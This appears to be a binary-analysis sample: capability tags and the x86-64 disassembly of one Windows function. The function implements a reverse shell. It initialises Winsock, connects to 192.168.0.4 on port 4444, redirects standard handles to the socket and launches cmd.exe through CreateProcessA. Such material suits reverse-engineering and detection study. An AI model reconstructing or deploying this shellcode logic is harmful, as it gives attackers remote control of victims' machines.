Function at 0x1400037f0
Capabilities:
Create process on windows
Create process suspended
Initialize winsock library

Disassembly:
lea rcx, [0x140001440]
jmp fcn.140001410
push rbp
push rbx
sub rsp, 0xf8
lea rbp, [rsp + 0xf0]
mov dword [rbp + 0x20], ecx
mov qword [rbp + 0x28], rdx
call fcn.1400015f0
lea rax, str.192.168.0.4
mov qword [rbp - 0x10], rax
mov word [rbp - 0x82], 0x115c
lea rax, [rbp - 0x51]
mov qword [rbp - 0x18], rax
nop
nop
lea rdx, [rbp - 0x51]
lea rax, [rbp - 0x80]
mov r8, rdx
lea rdx, [0x140005015]
mov rcx, rax
call fcn.140003520
lea rax, [rbp - 0x80]
mov rdx, rax
mov ecx, 0x529
call fcn.1400029b0
lea rax, [rbp - 0x80]
mov rcx, rax
call fcn.1400014e0
lea rax, [rbp - 0x51]
mov rcx, rax
call fcn.140002f10
nop
lea rax, [0x1400040e0]
mov rdx, rax
mov ecx, 0x202
mov rax, qword [sym.imp.WS2_32.dll_WSAStartup]
call rax
lea rax, [rbp - 0xa0]
mov rcx, rax
call fcn.140003380
mov dword [rbp - 4], 0
jmp 0x1400038b9
lea rdx, [rbp - 0x82]
lea rax, [rbp - 0xa0]
mov rcx, rax
call fcn.1400032b0
add dword [rbp - 4], 1
cmp dword [rbp - 4], 0
jle 0x14000389f
call fcn.1400027e0
mov word [0x1400040a0], 2
movzx eax, word [rbp - 0x82]
movzx eax, ax
mov ecx, eax
mov rax, qword [sym.imp.WS2_32.dll_htons]
call rax
mov word [0x1400040a2], ax
mov rax, qword [rbp - 0x10]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_inet_addr]
call rax
mov dword [0x1400040a4], eax
mov rax, qword [rbp - 0x10]
mov rdx, rax
mov rax, qword [sym.imp.libstdc_6.dll_std::cout]
mov rcx, rax
call fcn.1400014a0
lea rax, [0x140004080]
mov rdx, rax
mov rax, qword [sym.imp.libstdc_6.dll_std::cout]
mov rcx, rax
call fcn.140001498
movzx eax, word [rbp - 0x82]
cwde
mov ecx, eax
call fcn.1400028f0
mov r8d, 0x68
mov edx, 0
lea rax, [0x140004280]
mov rcx, rax
call sub.msvcrt.dll_memset
mov rax, qword [rbp - 0x10]
mov rdx, rax
mov rax, qword [sym.imp.libstdc_6.dll_std::cout]
mov rcx, rax
call fcn.1400014a0
mov dword [0x140004280], 0x68
mov dword [0x1400042bc], 1
mov rax, qword [0x1400040b0]
mov qword [0x1400042e0], rax
mov rax, qword [0x1400042e0]
mov qword [0x1400042d8], rax
mov rax, qword [0x1400042d8]
mov qword [0x1400042d0], rax
lea rax, [rbp - 0x21]
mov qword [rbp - 0x20], rax
nop
nop
lea rdx, [rbp - 0x21]
lea rax, [rbp - 0x50]
mov r8, rdx
lea rdx, str.dsadsa
mov rcx, rax
call fcn.140003520
lea rax, [rbp - 0x50]
mov rdx, rax
mov ecx, 9
call fcn.1400029b0
lea rax, [rbp - 0x50]
mov rcx, rax
call fcn.1400014e0
lea rax, [rbp - 0x21]
mov rcx, rax
call fcn.140002f10
nop
lea rax, [0x1400040c0]
mov qword [rsp + 0x48], rax
lea rax, [0x140004280]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 1
mov r9d, 0
mov r8d, 0
lea rax, str.cmd.exe
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
mov ecx, 0
call sub.msvcrt.dll_exit
mov rbx, rax
lea rax, [rbp - 0x80]
mov rcx, rax
call fcn.1400014e0
jmp 0x140003a75
lea rax, [rbp - 0x51]
mov rcx, rax
call fcn.140002f10
nop
mov rax, rbx
mov rcx, rax
call sub.libgcc_s_seh_1.dll__Unwind_Resume
mov rbx, rax
lea rax, [rbp - 0x50]
mov rcx, rax
call fcn.1400014e0
jmp 0x140003aa1
lea rax, [rbp - 0x21]
mov rcx, rax
call fcn.140002f10
nop
jmp 0x140003ab3
lea rax, [rbp - 0xa0]
mov rcx, rax
call fcn.1400033a0
mov rax, rbx
mov rcx, rax
call sub.libgcc_s_seh_1.dll__Unwind_Resume
nop
nop
nop
jmp 0x140001430